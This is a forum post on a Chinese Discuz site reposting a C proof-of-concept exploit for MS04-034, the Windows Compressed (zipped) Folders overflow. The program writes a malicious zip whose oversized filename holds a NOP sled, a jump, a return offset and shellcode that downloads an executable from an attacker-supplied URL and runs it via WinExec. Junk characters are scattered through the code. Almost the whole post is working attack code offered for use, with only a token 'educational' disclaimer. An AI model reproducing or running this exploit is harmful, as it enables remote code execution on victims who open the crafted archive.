QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 2559|回复: 0
打印 上一主题 下一主题

(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 10:51 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)' p5 f& L3 I- T1 ~. J *2 ?" I/ e5 N) l4 Y2 @8 G * Tested under Windows XP SP0 Spanish/English 0 Z0 Y( J$ Q3 I6 v0 G: @3 c$ P* + f4 p. v/ B, C+ ^* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html; [+ `! k0 X- j; \ E/ w * Exploit Date: 21/10/2004, D) Y9 ~1 m1 E% L) e * 0 B3 P0 T) j3 g% L' x* Tarako - Haxorcitos.com 2004- o# B4 c. H' W4 U *7 a4 C* l0 }+ y' r7 f * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"8 i1 X# ~2 T) \* [9 ?7 d& ^ * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION# T! M! w/ C; w" K% i! r * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. 2 y0 C6 A" W5 B* : H0 v1 D1 e' j! P7 G- b+ X0 c+ ^' m* Greetings t #haxorcitos, #dsr and #localhost @efnet0 j2 {, u; D( ^: v+ m *( s9 C7 W( Z- }4 {5 a, N * $ y' ~$ Y5 p0 @2 @ R* How to get new offsets: 5 M s, d+ b$ i# j2 ^. F) \3 |* 1) attach debugger (i.e ollydbg) to explorer.exe/ w$ n& f4 N$ T: e9 j* a" w! D8 W C * 2) open the zip file as a folder and add or move some files to it4 n: `4 L) G) T: \: s. w3 w. o * 3) search in the explorer.exe memory the shellcode and get the addresses " A, g( m7 m' J. i*: u; b+ Y3 s6 K( ? */ ! v4 C# C; F. S0 ]' T2 w! n' a/ b" g/ G- r) U: f: O3 ]# N3 S #include <stdio.h>* W4 n, S4 u4 c7 T h #include <windows.h>% e+ L! V, Q7 C; o8 t + E" N8 ]. y# Q8 p! [# b#pragma pack(1) ' U _0 Y W& S% Q4 e. g( j0 J7 v* G1 Q8 X+ f) u1 g3 p #define DATOS "Tarako-Haxorcitos.com" , k( ^' q1 O7 Q6 B" D9 H- X* X ( U) o. x1 `6 ? p2 X# @typedef struct { r, c& \& n& V; y3 p: M: SDWORD Signature; // PK.. 4 bytes (0x04034B50)7 L3 u% s: |( {2 h7 i WORD VersionNeeded; . f1 i" S+ H* PWORD GeneralPurposeFlag; // para el data descriptor y demas# V+ i" }3 F9 }& A WORD CompressionMethod; 0 n9 Y; a4 W7 B uWORD ModFileTime; ( L/ M0 c8 L" a9 `. wWORD ModFileDate; 0 P& K5 z' l, C5 \DWORD Crc32;6 E& D. A2 w/ }9 r# @3 C DWORD CompressedSize;3 K+ p2 s8 O% L) {( L- [- a DWORD UncompressedSize;6 z6 @: ?; l0 W WORD FilenameLength; $ R1 P* q' E! z2 t+ b( W; Q# N# lWORD ExtraFieldLength;3 x! K, K1 A0 K! d9 Z: Z% z9 W // filename (variable size)2 K" _' d0 b1 q7 P5 L$ Q2 h( s // extra field (variable size)# {: h9 J K# i; r' Z' \' x2 n; u }TOPHEADER;3 T% b9 d( t/ o; ~% V1 m - u' i* ~% n% S, Q6 c( v( r- `) b8 V. N, ]; [: m: m& l1 ?9 V typedef struct { ( L/ d0 P# n: E b9 i! x2 R DWORD Signature; // PK.. 4 bytes (0x02014B50) 3 ^ F& c; u$ C: O0 hWORD MadeVersion; * I6 L; b# O4 ]3 AWORD VersionNeeded;% N8 J# k5 F/ P2 v# S: `1 A: f& ] WORD GeneralPurposeFlag; // para el data descriptor y demas / A$ W5 B# N4 i/ k9 E* @6 x6 nWORD CompressionMethod; 9 C+ E1 e3 \$ Z% B( e- ^* T+ s+ TWORD ModFileTime; 2 Y x5 w2 m* h! \+ w% D3 EWORD ModFileDate;2 O: ^6 M( |( g! `. c DWORD Crc32;0 O0 F8 Y) N; o( N DWORD CompressedSize; : H8 v' H4 U+ s5 m qDWORD UncompressedSize; ( y7 c0 B9 ?3 ZWORD FilenameLength;' M% T$ Y- e+ F WORD ExtraFieldLength; + q! ]/ \ J& w _+ c7 r7 iWORD FileCommentLength;; M/ ?7 t2 R0 H, G' L# l& {3 w WORD DiskNumberStart; ; T3 j' r! ?: p( `) w8 }WORD InternalFileAttributes; f N( S' I% x8 w( HDWORD ExternalFileAttributes;2 ?( p/ r4 ~7 U" c7 X DWORD RelativeOffsetOfLocalHeader; G) Z* F. S+ @ // filename (variable size)/ H2 l2 B& i% L5 D8 n% t" [ // extra field (variable size) . ~ Q4 c1 e& r/ |8 Y// file comment (variable size)0 I2 p2 D( H: L) } }MIDDLEHEADER;) i/ o8 o1 X# O4 R0 ~ * |" z0 g2 U5 ?; @# B& S1 ]typedef struct {, l- Z4 {: u- X# ~ DWORD Signature; // PK.. 4 bytes (0x06054B50)4 W4 z1 m$ N5 F9 s: h WORD NumOfThisDisk; 0 F1 f) R8 [) Z K+ JWORD NumDisckStartCentralDirectory; 9 W" N* r* }8 K; a* q* J1 RWORD NumEntriesCentralDirOnThisDisk;1 n9 `$ @7 ^( U1 f WORD TotalNumEntriesCentralDir;/ y' F- |+ `* M/ p DWORD SizeCentralDirectory;% @9 w1 V* g& ^% H* n5 i DWORD OffsetCentraDirRespectStartDiskNum;0 F9 l8 [; X) z. T; K0 V6 G8 [ WORD ZipCommentLength; 8 H! F; |0 y% z# }// zipfile comment (variable size) 2 J# t1 e! H, m3 Q/ ]1 t}BOTTOMHEADER;# B5 @8 L& T/ s8 I0 ?3 o7 ^ : g. G( q/ e9 R9 }: x, x; v/*3 O) F: E) }7 v; g) S6 ]9 m [ * download shellcode - RaiSe - raise@netsearch-ezine.com, w8 e; f" a$ I0 b) T. e0 V */ F3 _3 s) s$ i: W4 |char shellcode1[] =# ?9 l3 I' u$ i- i7 u- ? "\xEB\x5D\x5F\x8B\xF7\x80\x3F" 6 `! W% r; R$ t# n"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9"$ p9 {6 S* Y7 Q) H B "\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08"& `& J7 ~1 s9 w+ y/ { "\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8". T8 h7 c3 U: d5 t1 c) ? "\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" % G. H2 v+ R5 `- ]8 G- w$ h* K"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74"8 @; d+ x% z. W: ^, X "\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" ( O7 X$ G0 m+ q5 v, }; J4 m"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B"/ C' }+ z6 v1 M2 i6 |+ H "\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" g6 r% N" A8 u. ]; h. }"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78"6 }! B* H# R4 r8 l "\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" 1 f7 @5 p: B1 s9 G9 u"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" 7 G M2 a7 x; N/ G( J7 P1 R, u( _"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" ) `* b( m! c1 V, @/ D"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D"( G. \; O8 |8 {, ^1 D "\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0", P# E$ d# Y( R, V5 }1 m7 t7 z "\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04"7 F! i, I0 d/ R( M "\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB"$ `; S# M, M+ Y* p) S+ k% p5 c "\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" 7 m6 z. D+ X0 k) R$ p5 p" B$ _"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" 3 A' a/ f' X( g1 T"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52"# o/ n0 E" D# b' j, F- O1 f "\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1"+ q. O, t' E' X% o "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC": T; `# g5 M$ q "\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" - o) C# W4 i# g* {/ E0 g+ I6 _"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B"4 f6 A3 Y, T" {7 q "\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF"# L8 K- |0 _, m "\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" 8 Y. G7 T: e1 F9 D+ M$ F% \3 f"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49"! ]. i H# a4 C/ E; a "\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F"9 m; A# B/ ]# l7 a7 { "\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" 9 I4 v# {" h* q \! M: X/ ~"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78"6 g2 K4 E: B! A) R3 Z/ b6 i3 U1 r "\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72"' Z, h+ o7 @3 x. u1 S7 f "\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65"4 l: Z( \# ?- B' M "\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" * B4 y, z! W2 @7 |: t9 r"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64") g9 f2 ? u- v3 O$ D "\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08";5 Y6 i' @% G( H. L char shellcode2[] ="\x08\x01"; 4 |+ e! @$ M1 h0 N% Z1 @ + B# x& C* X; G2 U7 A; q& Echar offset[]="\x41\x41\x41\x41"; : N: N+ g/ H/ k7 g' {; V# S3 T. |) schar jmpbelow[]= "\xeb\x06\x90\x90";7 c+ T9 G" Y2 X9 S% H ' v0 q. r2 z* q5 m' Tint main(int argc,char *argv[]) {7 m& O: ?2 }, E1 X) j ' V6 ~6 C% j# r( p FILE *ZipFile;1 O) H' M6 W* W" [6 e TOPHEADER *Cabecera1; . y. f/ X7 o. K3 b5 N; BMIDDLEHEADER *Cabecera2;: U! A# U; B* q- C# F- u! ?; I BOTTOMHEADER *Cabecera3; : A- d5 v$ @# `; T 9 B E1 s- @7 `8 i" t% lDWORD c; " j! B* j& V0 @5 G) Y& p) |UINT i;/ X$ ?6 \* M! @4 V: @/ D char *filename; : w. H c- }4 @; e- Gchar *url;2 s7 M' U: X: O# G. o' O* f / M B+ w1 w, h7 Tprintf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); 9 i, q. K1 T7 l* T4 `' s5 _printf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); ; m& x5 Q/ r- U3 A& H$ I& ~" a' ], H% a# F+ j5 b4 ~( d if (argc!=2) { ! E5 L6 b3 Q& u8 s6 @printf("\n\n Usage: %s <URL> \n",argv[0]);: k2 R. {6 L6 v; v- \8 {: D! t exit(1);# o9 X7 }5 q, R& y } ) W: l' _1 r) H) z) R - ^9 A: F p7 d ~" W) rurl=argv[1]; 3 t1 k( h8 x: d3 r1 Y" }printf("\n * URL: %s",url);' U7 O( U9 [* v) d3 L 0 L/ ^4 `9 Y) Z- f " C3 ]; ~; X/ lif (!(ZipFile=fopen("prueba.zip","w+b"))) { W4 a7 j8 ]* c$ D% I* kprintf("\n [E] fopen()"); ' N# x7 ~6 w8 B! N `: m: {exit(1); 4 z; I9 g$ O/ p6 _& X h7 Z& H} # i5 n) T/ D' K `! W2 ~8 D" y" w# C$ N c=0x8000; // filename length 9 m, I& i. i* ^filename=(char*)malloc(sizeof(char)*c); * w) x3 h$ r7 r2 A. L8 ^* Vmemset(filename,0,sizeof(filename));% i% L) ?4 x+ e 4 x* B4 o8 F0 T$ i, ~) R6 { for( i=0x0;i<c;i++) filename=(BYTE)0x90;- r6 o) x* q* B2 I2 u; N 7 y1 U8 y" g2 V7 [5 ^: b memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow));; J; |- t% @# j" ~ memcpy(filename+0x1818,offset,strlen(offset));5 c* w8 } T; T* Z # L0 ^0 o. n" j7 k3 X- ?memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);' u8 x0 o! ?! l memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url));) N" L& w. a: H7 K* H- y4 v memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); 4 C8 ]- [% |. _' A3 O& J* Z+ O- `, N" M" | memcpy(filename+(c-4),".txt",4);( h, ]4 }+ ~+ e: b$ L / a+ ?, t0 N7 z: c; r% aCabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); y& L! ~5 y P. H ?- N Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); , z2 z5 L+ h/ J# N5 T- ]/ l3 P4 VCabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); L4 T3 U( U. C3 y/ b0 q/ jmemset(Cabecera1,0,sizeof(TOPHEADER));$ a# r2 {' o) t" i9 _; ` \, w# b* I memset(Cabecera2,0,sizeof(MIDDLEHEADER)); & z% m9 u) ^: {2 Z) y+ r- P4 jmemset(Cabecera3,0,sizeof(BOTTOMHEADER)); " o4 @' d% k" {( K9 @ / N' b# K0 u5 I5 I ///////////////////////////////////////////////////////////////////" w6 \: I% M8 [' Q. Y# | // TOPHEADER; S9 y5 A4 F7 n# ^2 Y, F; H ///////////////////////////////////////////////////////////////////! i/ }: I& B: h' U* U& i Q! V Cabecera1->Signature=0x04034B50; // DWORD ) V3 @6 v* d0 j& x$ ]; f* C1 @, {Cabecera1->VersionNeeded=0x000A; // WORD9 k* w9 k2 M _ m Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas 8 [8 U% ?) _/ H1 C5 c5 @' c+ eCabecera1->CompressionMethod=0x0000; // WORD& p* w: o. D% t/ Z Cabecera1->ModFileTime=0x1362; // WORD ( n3 v. {' c6 f4 x8 zCabecera1->ModFileDate=0x3154; // WORD 1 K$ a7 z6 p3 O$ a8 N, u/ z: ^Cabecera1->Crc32=0x85B36639; // DWORD * C6 G ]. U! U+ z jCabecera1->CompressedSize=0x00000015; // DWORD5 b1 @( l/ w( E! B2 j Cabecera1->UncompressedSize=0x00000015; // DWORD& s7 K; I2 n+ h0 K' F% H. {6 I/ Z Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);+ }3 I6 a5 \/ K0 v/ `2 v Cabecera1->ExtraFieldLength=0x0000; // WORD% u$ F. k4 `* T/ r3 H( I0 w/ { a /////////////////////////////////////////////////////////////////// * ~2 o3 T! ^! ~6 q, M/ L' e2 I/ `6 @* D( h( @# Y# l7 \ ///////////////////////////////////////////////////////////////////$ Z; ^. ]% V& _ // MIDDLEHEADER / Q* Y! g; |3 A: g* ]& N7 D+ C( ]! x///////////////////////////////////////////////////////////////////5 v/ T2 `$ _- n, ?) D+ h Cabecera2->Signature=0x02014B50; // DWORD & F) }( M7 g5 N: w. oCabecera2->MadeVersion=0x0014; // WORD 7 X i4 v* y% n! m& b3 Y0 uCabecera2->VersionNeeded=0x000A; // WORD, J/ |- I$ E& M. Z Cabecera2->GeneralPurposeFlag=0x0002; // WORD" v9 b) e; F5 }3 @ Cabecera2->CompressionMethod=0x0000; // WORD! l+ l$ C. D; |. h Cabecera2->ModFileTime=0x1362; // WORD ( e# Q, Y% g) @Cabecera2->ModFileDate=0x3154; // WORD 0 e( [1 k3 H, G/ G# pCabecera2->Crc32=0x85B36639; // DWORD : B5 a. o9 c# o ~+ p$ g% YCabecera2->CompressedSize=0x00000015; // DWORD5 B/ c6 W! ]1 ~- Q, C% c. x& Q Cabecera2->UncompressedSize=0x00000015; // DWORD z$ u& S6 V! k$ v* W( tCabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); ! e5 p$ h) m- qCabecera2->ExtraFieldLength=0x0000; // WORD : Y; j. X! |8 t/ }: T/ ]( HCabecera2->FileCommentLength=0x0000; // WORD % U; @/ b1 O( m/ R, wCabecera2->DiskNumberStart=0x0000; // WORD : z3 ~+ Z9 S$ E4 GCabecera2->InternalFileAttributes=0x0001; // WORD 0 M7 j+ R! [- h: vCabecera2->ExternalFileAttributes=0x00000020; // DWORD ! I0 @; N5 L; O8 g! ~& VCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD) w; o9 ]/ d3 {5 G6 N ///////////////////////////////////////////////////////////////////% j# X1 S: q1 L8 ^7 G) R8 C W/ z* K) I$ a3 M. \1 z1 z4 ^/////////////////////////////////////////////////////////////////// / O+ K+ ]+ F& f6 W8 w' G3 ]! d// BOTTOMHEADER : u8 v% ]. ?( y///////////////////////////////////////////////////////////////////; x; i3 Y2 Z0 }" k Cabecera3->Signature=0x06054B50; // DWORD J# }' u; W4 c$ g2 S) s vCabecera3->NumOfThisDisk=0x0000; // WORD 2 N* E: K& M) d6 q$ {- i! ]Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD ! d1 v4 R: N( H6 m. f, N5 mCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD * Z' X# E/ v* r4 OCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD 5 Z9 y3 D# H4 {. N; y* BCabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD5 ^. h `9 @( Q: j5 ~% d Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD ' A" W+ ^$ O0 b2 s3 z% rCabecera3->ZipCommentLength=0x0000; // WORD1 [2 k& G6 e$ t) i# N* G, H2 V; H K /////////////////////////////////////////////////////////////////// 1 B% E0 C# L0 a9 Y0 y: T; i2 f4 {( p* F1 r' v, J9 C' i9 j& j fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); 3 k4 P4 l1 e: h9 @8 C9 a ! H1 Y. U2 L# e# t: I6 I7 wfwrite(filename, c, 1,ZipFile); # D! O6 K# o4 Z$ T* F0 Z fwrite(DATOS,strlen(DATOS),1,ZipFile);$ u% @7 v7 b. P- g, }* u5 s6 h ; G( z" o7 I/ B: e fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); $ ^# a" |7 `* a! a5 L; [) `$ Qfwrite(filename, c, 1,ZipFile); 0 ]1 B) i8 {, j; J/ O5 wfwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); 7 l: r4 d! K) L, j: R9 v 4 ~- u$ I" ^& d( s, ifclose(ZipFile); 0 ~+ x( h5 N, Y0 e; O) ~printf("\n * prueba.zip created\n"); ) V) e3 g. I5 y3 Y U( E. I+ m3 Dreturn 1; : x/ P) y- o6 F. ^. {" x/ J, f}//downloaded from milw0rm.com 8 G7 L( I" y0 ^( f2 B

zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-4-21 23:00 , Processed in 0.327352 second(s), 51 queries .

回顶部